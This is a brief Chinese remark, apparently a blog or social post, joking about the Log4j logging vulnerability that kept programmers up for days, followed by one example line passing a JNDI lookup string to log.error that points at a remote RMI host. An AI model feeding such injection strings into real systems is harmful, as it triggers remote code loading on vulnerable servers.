俗话说得好,永远不要相信用户输入还是没错的......
谁也想不到,一个记日志的组件能捅了那么大篓子,搞得一大堆程序狗彻夜未眠折腾了好几天.

log.error("${jndi:rmi://233.233.233.233:23333/delblog}");